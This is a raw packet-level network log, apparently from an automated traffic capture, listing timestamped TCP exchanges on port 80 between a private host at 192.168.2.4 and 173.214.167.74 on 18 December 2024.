                                                                                  Dec 18, 2024 15:35:46.168070078 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.168071985 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168093920 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.168117046 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.168905020 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168916941 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168929100 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168941021 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168951988 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168958902 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.168963909 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.168981075 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.169015884 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.169414997 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.169426918 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.169436932 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.169476986 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.169501066 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.262825966 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.262891054 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.301526070 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.301580906 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.301615953 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.301651955 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.301934958 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.301947117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.302010059 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.302763939 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.302917004 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.302979946 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.303939104 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.303951025 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.304002047 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.304411888 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.304460049 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.304584026 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.305227995 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.305279970 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.305373907 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.305419922 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.306088924 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.306138992 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.306260109 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.306299925 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.307015896 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.307199001 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.307249069 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.307750940 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.307806969 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.308126926 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.308192968 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.308480978 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.308492899 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.308556080 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.308556080 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.309130907 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.309180975 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.309250116 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.309292078 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.309988022 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.310041904 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.310070038 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.310111046 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.312809944 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.312825918 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.312869072 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.312899113 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.313195944 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.313215971 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.313227892 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.313240051 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.313241959 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.313257933 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.313282967 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.313658953 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.313713074 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.313837051 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.313875914 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.314650059 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.314665079 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.314716101 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.315339088 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.315397978 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.315480947 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.315532923 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.316190004 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.316216946 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.316243887 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.316256046 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.317004919 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.317022085 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.317074060 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.317804098 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.317861080 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.317954063 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.318000078 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.318627119 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.318785906 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.318840027 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.319458961 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.319515944 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.319633961 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.319710970 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.320327997 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.320401907 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.320491076 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.320668936 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.321321011 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.321399927 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.321487904 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.321530104 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.322035074 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.322195053 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.322244883 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.322743893 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.322804928 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.322968960 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.323112965 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.323609114 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.323671103 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.323888063 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.324038982 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.324593067 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.324614048 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.324659109 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.325506926 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.325601101 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.325675011 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.325714111 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.326040030 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.326343060 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.326394081 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.327043056 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.327055931 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.327100039 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.327132940 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.327855110 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.328042030 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.328095913 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.328707933 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.328721046 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.328753948 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.328778028 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.329788923 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.329806089 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.329854965 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.330400944 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.330560923 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.330560923 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.330599070 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.331249952 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.331304073 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.331417084 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.331465960 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.332102060 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.332113981 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.332149029 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.332175016 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.332973003 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.332987070 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.333029985 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.333651066 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.333707094 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.333798885 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.333848000 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.334481001 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.334534883 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.334626913 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.334669113 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.335508108 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.335520029 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.335567951 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.336139917 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.336185932 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.336314917 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.336358070 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.336992025 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.337070942 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.337163925 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.337327003 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.337913036 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.337974072 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.338074923 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.338115931 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.338614941 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.338772058 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.338821888 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.339627028 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.339683056 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.339783907 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.339827061 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.340333939 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.340383053 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.340470076 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.340513945 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.341283083 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.341298103 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.341332912 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.341347933 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.341943979 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.342122078 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.342169046 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.342825890 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.343020916 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.343081951 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.343780994 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.343869925 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.343935966 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.343974113 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.344681025 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.344733000 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.344855070 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.344894886 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.345321894 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.345592976 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.493707895 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.493861914 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.493906975 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.493989944 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.494039059 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.494054079 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.494081020 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.494138002 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.494205952 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.494642973 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.494771957 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.494823933 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.495507002 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.495538950 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.495560884 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.495587111 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.496169090 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.496217966 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.496238947 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.496277094 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.496922016 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.496968031 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.497030020 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.497070074 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.497812033 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.497863054 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.497900009 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.497937918 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.498552084 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.498647928 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.498698950 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.499423981 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.499486923 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.499524117 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.499572039 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.500232935 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.500291109 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.500356913 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.500400066 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.501142025 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.501193047 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.501197100 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.501236916 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.502054930 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.502068043 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.502115965 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.502772093 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.502854109 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.502912998 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.503694057 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.503756046 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.503772020 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.503814936 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.504376888 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.504451990 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.504594088 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.504647017 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.505343914 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.505357027 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.505410910 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.506340027 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.506354094 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.506413937 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.506922007 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.506978035 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.507000923 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.507045984 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.507972956 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.507987022 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.508032084 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.508044958 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.508559942 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.508661985 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.508716106 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.509476900 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.509556055 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.509577990 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.509627104 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.510294914 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.510747910 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.510821104 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.511123896 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.511142969 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.511176109 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.511218071 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.511935949 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.512208939 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.512270927 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.512753963 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.512808084 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.512840986 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.512888908 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.513605118 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.513664007 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.513669968 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.513704062 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.514399052 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.514451981 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.514522076 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.515408039 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.515444040 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.515464067 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.515500069 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.516108990 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.516158104 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.516230106 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.516272068 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.517004967 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.517055988 CET4973280192.168.2.4173.214.167.74
                                                                                  Dec 18, 2024 15:35:46.517086983 CET8049732173.214.167.74192.168.2.4
                                                                                  Dec 18, 2024 15:35:46.517148972 CET4973280192.168.2.4173.214.167.74
